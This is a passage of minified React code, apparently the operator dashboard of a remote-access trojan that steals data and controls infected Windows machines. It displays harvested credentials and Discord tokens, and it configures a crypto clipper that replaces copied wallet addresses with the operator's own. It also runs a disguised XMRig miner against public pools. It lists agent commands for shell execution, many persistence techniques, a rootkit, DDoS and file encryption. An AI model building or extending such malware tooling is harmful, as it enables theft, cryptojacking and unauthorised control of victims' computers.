text-zerin-text-muted font-medium",children:"Username"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.windows_credentials.map((E,X)=>s.jsxs("tr",{className:`hover:bg-zerin-panel-hover ${E.is_rdp?"bg-zerin-accent-muted/30":""}`,children:[s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:[E.is_rdp&&s.jsx("span",{className:"text-zerin-accent font-medium mr-1",children:"[RDP]"}),E.target]}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(E.username),children:E.username}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(E.password),children:E.password?"••••••••":""}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:E.type})]},X))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Windows credentials found"})}),s.jsx($r,{title:"Discord Tokens",count:((R=i.discord_tokens)==null?void 0:R.length)??0,expanded:d.has("discord_tokens"),onToggle:()=>g("discord_tokens"),children:(V=i.discord_tokens)!=null&&V.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Source"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Token"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.discord_tokens.map((E,X)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:E.source}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:E.type}),s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-[300px] truncate",onClick:()=>v(E.token),children:[E.token.slice(0,20),"..."]})]},X))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Discord tokens found"})}),s.jsx($r,{title:"Applications",count:(($=i.telegram)!=null&&$.found?1:0)+(((L=i.filezilla)==null?void 0:L.length)??0)+(((W=i.winscp)==null?void 0:W.length)??0)+(((B=i.putty)==null?void 0:B.length)??0)+(((U=i.outlook)==null?void 0:U.length)??0),expanded:d.has("apps"),onToggle:()=>g("apps"),children:s.jsxs("div",{className:"space-y-3 p-4",children:[i.telegram&&s.jsxs("div",{children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Telegram"}),i.telegram.found?s.jsxs("p",{className:"text-xs text-zerin-text font-mono",children:["Found at: ",s.jsx("span",{className:"text-zerin-accent cursor-pointer",onClick:()=>v(i.telegram.path),children:i.telegram.path})]}):s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Not installed"})]}),(((F=i.filezilla)==null?void 0:F.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",i.filezilla.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.filezilla.map((E,X)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[E.host,":",E.port]}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:E.user}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(E.password),children:E.password?"••••••••":""})]},X))})})]}),(((H=i.winscp)==null?void 0:H.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",i.winscp.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.winscp.map((E,X)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:E.host}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:E.user}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(E.password),children:E.password?"••••••••":""})]},X))})})]}),(((G=i.putty)==null?void 0:G.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",i.putty.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.putty.map((E,X)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text-dim",children:E.session}),s.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[E.host,":",E.port]}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:E.user})]},X))})})]}),(((re=i.outlook)==null?void 0:re.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Outlook (",i.outlook.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.outlook.map((E,X)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:E.account}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:E.server}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(E.password),children:E.password?"••••••••":""})]},X))})})]}),!((oe=i.telegram)!=null&&oe.found)&&!((he=i.filezilla)!=null&&he.length)&&!((pe=i.winscp)!=null&&pe.length)&&!((Y=i.putty)!=null&&Y.length)&&!((ee=i.outlook)!=null&&ee.length)&&s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),(((C=i.errors)==null?void 0:C.length)??0)>0&&s.jsx($r,{title:"Errors",count:i.errors.length,expanded:d.has("errors"),onToggle:()=>g("errors"),children:s.jsx("div",{className:"p-4 space-y-1",children:i.errors.map((E,X)=>s.jsxs("div",{className:"text-xs",children:[s.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[E.source,":"]})," ",s.jsx("span",{className:"text-zerin-danger",children:E.error})]},X))})})]}),!i&&!o&&!c&&s.jsx("div",{className:"flex items-center justify-center py-20",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})})}),s.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Recovery"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Click ",s.jsx("span",{className:"font-semibold text-zerin-accent",children:"Grab Credentials"})," to recover saved passwords, cookies, tokens, and more."]})]})})]})}function $r({title:e,count:t,expanded:n,onToggle:r,children:i}){return s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsxs("button",{onClick:r,className:`w-full flex items-center gap-2 px-4 py-2.5 text-left\r + hover:bg-zerin-panel-hover transition-colors`,children:[s.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),s.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&s.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}const $U=[{key:"btc",label:"Bitcoin (BTC)",placeholder:"bc1q... or 1.../3...",color:"text-orange-400"},{key:"eth",label:"Ethereum (ETH)",placeholder:"0x...",color:"text-blue-400"},{key:"ltc",label:"Litecoin (LTC)",placeholder:"L.../M.../ltc1...",color:"text-gray-300"},{key:"xmr",label:"Monero (XMR)",placeholder:"4...",color:"text-orange-300"},{key:"doge",label:"Dogecoin (DOGE)",placeholder:"D...",color:"text-yellow-400"},{key:"sol",label:"Solana (SOL)",placeholder:"Base58 address",color:"text-purple-400"},{key:"xrp",label:"Ripple (XRP)",placeholder:"r...",color:"text-blue-300"},{key:"trx",label:"Tron (TRX)",placeholder:"T...",color:"text-red-400"},{key:"bnb",label:"BNB Chain",placeholder:"bnb1...",color:"text-yellow-300"}],BU={btc:"",eth:"",ltc:"",xmr:"",doge:"",sol:"",xrp:"",trx:"",bnb:""};function v2(e,t){if(!t)return null;switch(e){case"btc":return t.startsWith("bc1")&&t.length>=25&&t.length<=62||(t.startsWith("1")||t.startsWith("3"))&&t.length>=25&&t.length<=34?null:"Invalid BTC address";case"eth":return/^0x[0-9a-fA-F]{40}$/.test(t)?null:"Invalid ETH address (0x + 40 hex)";case"ltc":return t.startsWith("ltc1")&&t.length>=25||(t.startsWith("L")||t.startsWith("M"))&&t.length>=26&&t.length<=34?null:"Invalid LTC address";case"xmr":return t.startsWith("4")&&t.length===95?null:"Invalid XMR address (starts with 4, 95 chars)";case"doge":return t.startsWith("D")&&t.length===34?null:"Invalid DOGE address";case"sol":return t.length>=32&&t.length<=44?null:"Invalid SOL address (32-44 chars)";case"xrp":return t.startsWith("r")&&t.length>=25&&t.length<=35?null:"Invalid XRP address";case"trx":return t.startsWith("T")&&t.length===34?null:"Invalid TRX address";case"bnb":return t.startsWith("bnb1")&&t.length===42?null:"Invalid BNB address"}return null}function FU({agentId:e,agentStatus:t}){const[n,r]=p.useState({...BU}),[i,a]=p.useState(!1),[o,l]=p.useState(!1),[c,u]=p.useState(null),[d,f]=p.useState({}),m=t==="dead",h=(b,w="ok")=>{u({text:b,type:w}),setTimeout(()=>u(null),3e3)},x=(b,w)=>{r(k=>({...k,[b]:w}));const j=v2(b,w);f(k=>{const S={...k};return j?S[b]=j:delete S[b],S})},g=Object.entries(n).some(([b,w])=>w&&!d[b]),y=p.useCallback(async()=>{if(m)return;const b={};for(const[w,j]of Object.entries(n))if(j){const k=v2(w,j);k&&(b[w]=k)}if(f(b),Object.keys(b).length>0){h("Fix validation errors first","err");return}l(!0);try{const w={};for(const[j,k]of Object.entries(n))k&&(w[j]=k);await Ce(e,{command:"clipper_config",args:[JSON.stringify(w)]}),h("Config sent to agent")}catch(w){h(w instanceof Error?w.message:"Failed","err")}finally{l(!1)}},[e,n,m]),v=p.useCallback(async()=>{if(!m){l(!0);try{if(!i&&g){const b={};for(const[w,j]of Object.entries(n))j&&(b[w]=j);await Ce(e,{command:"clipper_config",args:[JSON.stringify(b)]})}await Ce(e,{command:i?"clipper_stop":"clipper_start"}),a(!i),h(i?"Clipper stop sent":"Clipper start sent")}catch(b){h(b instanceof Error?b.message:"Failed","err")}finally{l(!1)}}},[e,i,n,g,m]);return s.jsxs("div",{className:"p-6 animate-fade-in space-y-6",children:[c&&s.jsx("div",{className:`fixed top-4 right-4 z-50 px-4 py-2 text-sm font-medium shadow-lg + ${c.type==="ok"?"bg-emerald-500/20 border border-emerald-500/40 text-emerald-400":"bg-zerin-danger-dim border border-zerin-danger/40 text-zerin-danger"}`,children:c.text}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:`w-3 h-3 rounded-full ${i?"bg-emerald-500 animate-pulse":"bg-zinc-600"}`}),s.jsxs("span",{className:"text-sm font-semibold text-zerin-text",children:["Crypto Clipper ",i?"(Active)":"(Inactive)"]})]}),s.jsxs("button",{onClick:v,disabled:o||m,className:`inline-flex items-center gap-2 text-sm font-medium px-4 py-2 transition-colors + disabled:opacity-30 disabled:cursor-not-allowed + ${i?"bg-zerin-danger hover:bg-red-600 text-white":"bg-emerald-600 hover:bg-emerald-500 text-white"}`,children:[o?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):i?s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),i?"Stop Clipper":"Start Clipper"]}),s.jsx("button",{onClick:y,disabled:o||m||!g,className:`inline-flex items-center gap-1.5 text-sm font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-2 transition-colors\r + disabled:opacity-30 disabled:cursor-not-allowed`,children:"Save Config"}),m&&s.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),s.jsx("div",{className:"grid grid-cols-1 lg:grid-cols-2 xl:grid-cols-3 gap-4",children:$U.map(({key:b,label:w,placeholder:j,color:k})=>s.jsxs("div",{className:"space-y-1",children:[s.jsx("label",{className:`text-xs font-semibold ${k}`,children:w}),s.jsx("input",{type:"text",value:n[b],onChange:S=>x(b,S.target.value),placeholder:j,className:`w-full bg-zerin-bg border px-3 py-2 text-sm font-mono text-zerin-text + placeholder-zerin-text-muted + focus:outline-none focus:ring-1 transition-all + ${d[b]?"border-zerin-danger/50 focus:border-zerin-danger focus:ring-zerin-danger/20":"border-zerin-panel-border focus:border-zerin-accent/50 focus:ring-zerin-accent/20"}`}),d[b]&&s.jsx("p",{className:"text-[10px] text-zerin-danger",children:d[b]})]},b))}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-2",children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text-dim uppercase tracking-wider",children:"How it works"}),s.jsxs("ul",{className:"text-xs text-zerin-text-muted space-y-1 list-disc list-inside",children:[s.jsx("li",{children:"Monitors clipboard for crypto wallet addresses"}),s.jsx("li",{children:"Automatically replaces detected addresses with your wallets"}),s.jsx("li",{children:"Supports BTC (bech32 + legacy), ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB"}),s.jsx("li",{children:"Uses AddClipboardFormatListener (event-driven, zero CPU when idle)"}),s.jsx("li",{children:"Config can be updated while running"})]})]})]})}const g2=["pool.hashvault.pro:443","pool.supportxmr.com:443","xmr-eu1.nanopool.org:14433","gulf.moneroocean.stream:10128"];function WU({agentId:e,agentStatus:t}){const[n,r]=p.useState(g2[0]),[i,a]=p.useState(""),[o,l]=p.useState(""),[c,u]=p.useState(50),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(null),y=p.useRef(null),v=t==="dead",b=(x==null?void 0:x.running)??!1,w=(z,O)=>{h({text:z,type:O}),setTimeout(()=>h(null),5e3)};p.useEffect(()=>{if(!e)return;const z=async()=>{try{const O=await Rn(e),_=(O.tasks??[]).filter(T=>T.command==="miner_status").sort((T,P)=>new Date(P.created_at).getTime()-new Date(T.created_at).getTime());if(_.length>0){const T=_[0],P=(O.results??[]).find(R=>R.task_id===T.id);if(P!=null&&P.output)try{const R=JSON.parse(P.output);g(R)}catch{}}}catch{}};return z(),y.current=setInterval(z,5e3),()=>{y.current&&clearInterval(y.current)}},[e]);const j=async()=>{if(!i.trim()){w("Wallet address is required","err");return}f(!0);try{await Ce(e,{command:"miner_start",args:[n,i.trim(),o||"worker",String(c)]}),w("Miner start command sent","ok"),setTimeout(async()=>{try{await Ce(e,{command:"miner_status"})}catch{}},3e3)}catch(z){w(z instanceof Error?z.message:"Failed to start","err")}finally{f(!1)}},k=async()=>{f(!0);try{await Ce(e,{command:"miner_stop"}),g(null),w("Stop command sent","ok")}catch(z){w(z instanceof Error?z.message:"Failed to stop","err")}finally{f(!1)}},S=async()=>{try{await Ce(e,{command:"miner_status"}),w("Status request sent","ok")}catch(z){w(z instanceof Error?z.message:"Failed to query status","err")}},N=z=>{const O=Math.floor(z/3600),_=Math.floor(z%3600/60),T=Math.floor(z%60);return O>0?`${O}h ${_}m ${T}s`:_>0?`${_}m ${T}s`:`${T}s`};return s.jsx("div",{className:"p-6 animate-fade-in",children:s.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 bg-amber-500/10 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-amber-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),s.jsxs("div",{children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"XMR Miner"}),s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Monero CPU mining via XMRig"})]}),b&&s.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-amber-400",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-amber-400 animate-pulse"}),"MINING"]})]}),m&&s.jsx("div",{className:`px-3 py-2 text-xs font-mono ${m.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:m.text}),b&&x&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Mining Stats"}),s.jsx("button",{onClick:S,className:"text-xs text-zerin-text-muted hover:text-zerin-accent transition-colors",children:"Refresh"})]}),s.jsxs("div",{className:"p-4 grid grid-cols-2 gap-4",children:[s.jsx(fa,{label:"Hashrate (10s)",value:x.hashrate_10s!=null?`${x.hashrate_10s.toFixed(1)} H/s`:"-"}),s.jsx(fa,{label:"Hashrate (60s)",value:x.hashrate_60s!=null?`${x.hashrate_60s.toFixed(1)} H/s`:"-"}),s.jsx(fa,{label:"Accepted",value:x.accepted!=null?String(x.accepted):"-",valueClass:"text-emerald-400"}),s.jsx(fa,{label:"Rejected",value:x.rejected!=null?String(x.rejected):"-",valueClass:x.rejected&&x.rejected>0?"text-red-400":void 0}),s.jsx(fa,{label:"Uptime",value:x.uptime!=null?N(x.uptime):"-"}),s.jsx(fa,{label:"PID",value:x.pid!=null?String(x.pid):"-"})]}),x.error&&s.jsx("div",{className:"px-4 pb-3",children:s.jsx("p",{className:"text-xs text-red-400 font-mono",children:x.error})})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),s.jsxs("div",{className:"p-4 space-y-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Pool"}),s.jsx("select",{value:n,onChange:z=>r(z.target.value),disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:g2.map(z=>s.jsx("option",{value:z,children:z},z))})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Wallet Address"}),s.jsx("input",{type:"text",value:i,onChange:z=>a(z.target.value),placeholder:"4...",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Worker Name"}),s.jsx("input",{type:"text",value:o,onChange:z=>l(z.target.value),placeholder:"worker (default: hostname)",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Max CPU: ",s.jsxs("span",{className:"text-zerin-text font-mono",children:[c,"%"]})]}),s.jsx("input",{type:"range",min:10,max:100,step:5,value:c,onChange:z=>u(Number(z.target.value)),disabled:v||b,className:"w-full accent-amber-500 disabled:opacity-40"}),s.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[s.jsx("span",{children:"10%"}),s.jsx("span",{children:"25%"}),s.jsx("span",{children:"50%"}),s.jsx("span",{children:"75%"}),s.jsx("span",{children:"100%"})]})]})]})]}),s.jsx("div",{className:"flex gap-3",children:b?s.jsxs("button",{onClick:k,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Mining"]}):s.jsxs("button",{onClick:j,disabled:v||d||!i.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-amber-600 hover:bg-amber-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),"Start Mining"]})}),s.jsx("div",{className:"bg-amber-500/5 border border-amber-500/15 px-4 py-3",children:s.jsxs("p",{className:"text-xs text-amber-400/80",children:["XMRig binary must be uploaded to ",s.jsx("span",{className:"font-mono",children:"%LOCALAPPDATA%\\Microsoft\\Runtime\\svcruntime.exe"})," on the target before starting the miner. Use the File Manager tab to upload it."]})})]})})}function fa({label:e,value:t,valueClass:n}){return s.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border px-3 py-2.5",children:[s.jsx("p",{className:"text-[10px] text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),s.jsx("p",{className:`text-sm font-mono font-medium ${n||"text-zerin-text"}`,children:t})]})}const y2=["shell","powershell","execute","whoami","ps","kill","sysinfo","specs","windows","installed_apps","netstat","ifconfig","env","ls","cd","pwd","upload","download","delete","encrypt","decrypt","screenshot","persist_runkey","persist_schtask","persist_service","persist_startup","persist_logonscript","persist_screensaver","persist_ifeo","persist_bits","persist_com","persist_dllhijack","persist_wmi","persist_portmon","persist_ssp","reg_read","reg_write","rootkit_status","rootkit_inject","restart","shutdown","troll_msgbox","troll_tts","troll_website","troll_wallpaper","troll_taskbar","troll_cd_tray","chat","creds","clipper_start","clipper_stop","clipper_config","ddos_start","ddos_stop","miner_start","miner_stop","miner_status","sleep","exit","uninstall"],UU={queued:"bg-zinc-500/15 text-zinc-400",sent:"bg-zinc-400/10 text-zinc-400",completed:"bg-zinc-400/10 text-zinc-300",failed:"bg-zerin-danger-dim text-zerin-danger",timeout:"bg-zerin-panel-hover text-zerin-text-muted"},xp=["overview","screenshots","files","processes","windows","apps","system","troll","credentials","clipper","ddos","miner"];function VU(){const{id:e}=Vo(),t=rr(),[n,r]=fx(),[i,a]=p.useState(null),[o,l]=p.useState([]),[c,u]=p.useState([]),[d,f]=p.useState(!0),[m,h]=p.useState(""),[x,g]=p.useState(""),[y,v]=p.useState(!1),[b,w]=p.useState(!1),[j,k]=p.useState(()=>{const D=n.get("tab");return D&&xp.includes(D)?D:"overview"}),[S,N]=p.useState(()=>{const D=n.get("tab"),ce=new Set(["overview"]);return D&&xp.includes(D)&&ce.add(D),ce}),[z,O]=p.useState(null),[_,T]=p.useState(!0),[P,R]=p.useState(!1),[V,$]=p.useState(null),[L,W]=p.useState(new Set),[B,U]=p.useState(()=>n.get("auto")==="1"),[F,H]=p.useState(null),[G,re]=p.useState(-1),[oe,he]=p.useState(!1),pe=p.useRef(null);p.useEffect(()=>{N(D=>{if(D.has(j))return D;const ce=new Set(D);return ce.add(j),ce})},[j]),p.useEffect(()=>{N(new Set(["overview"]))},[e]),p.useEffect(()=>{const D=n.get("tab");D&&xp.includes(D)&&D!==j&&k(D)},[n]);const Y=D=>{k(D),D==="overview"?n.delete("tab"):n.set("tab",D),r(n,{replace:!0})},ee=p.useCallback(async()=>{if(e)try{const D=await zE(e);a(D),h("");try{const ce=await Rn(e);l(ce.tasks??[]),u(ce.results??[])}catch{l([]),u([])}}catch(D){a(null);const ce=D instanceof Error&&"status"in D?D.status:"network";h(D instanceof Error?`${D.message} (${ce})`:String(D))}finally{f(!1)}},[e]);p.useEffect(()=>{ee();const D=setInterval(ee,5e3);return()=>clearInterval(D)},[ee]),p.useEffect(()=>{if(!e)return;let D=!0;const ce=async()=>{try{const J=await WE(e);D&&H(J)}catch{D&&H(null)}};ce();const K=setInterval(ce,3e3);return()=>{D=!1,clearInterval(K)}},[e]),p.useEffect(()=>{if(!z)return;const D=ce=>{ce.key==="Escape"&&O(null)};return window.addEventListener("keydown",D),()=>window.removeEventListener("keydown",D)},[z]);const C=p.useMemo(()=>[...o].sort((D,ce)=>new Date(D.created_at).getTime()-new Date(ce.created_at).getTime()),[o]),E=5e3,X=p.useMemo(()=>{var ce;const D=[];for(const K of C){const J=(ce=K.args)!=null&&ce.length?" "+K.args.join(" "):"";D.push({type:"command",content:`${K.command}${J}`,timestamp:K.created_at});const le=c.find(q=>q.task_id===K.id);le?(le.error&&D.push({type:"error",content:le.error,timestamp:le.completed_at}),le.output&&D.push({type:"output",content:le.output,timestamp:le.completed_at})):K.status==="queued"||K.status==="sent"?D.push({type:"system",content:`[${K.status==="queued"?"Queued":"Sent"} - awaiting result...]`}):K.status==="timeout"&&D.push({type:"error",content:"[Task timed out]"})}if(D.length>E){const K=D.slice(D.length-E);return K.unshift({type:"system",content:`[Output truncated: showing last ${E.toLocaleString()} of ${D.length.toLocaleString()} lines]`}),K}return D},[C,c]),I=p.useMemo(()=>{const D=[];for(const ce of C){if(ce.command!=="screenshot")continue;const K=c.find(J=>J.task_id===ce.id);if(K!=null&&K.data){const J=FA(K.data)?BA(K.data):`data:image/png;base64,${K.data}`;D.push({taskId:ce.id,timestamp:K.completed_at,dataUrl:J})}}return D},[C,c]),ne=x?y2.filter(D=>D.startsWith(x.split(" ")[0])&&D!==x.split(" ")[0]):y2;async function me(D){var le;if(D.preventDefault(),!e||!x.trim())return;const ce=x.trim().split(/\s+/),K=ce[0],J=ce.slice(1);v(!0),w(!1);try{await Ce(e,{command:K,args:J}),g(""),$(null),setTimeout(ee,500)}catch(q){$(`[SEND FAILED] ${q instanceof Error?q.message:"Unknown error"}`)}finally{v(!1),(le=pe.current)==null||le.focus()}}function ve(D){var ce;g(D+" "),w(!1),(ce=pe.current)==null||ce.focus()}if(d)return s.jsx("div",{className:"flex items-center justify-center h-full",children:s.jsxs("div",{className:"flex flex-col items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin"}),s.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agent data..."})]})});if(!i)return s.jsx("div",{className:"flex items-center justify-center 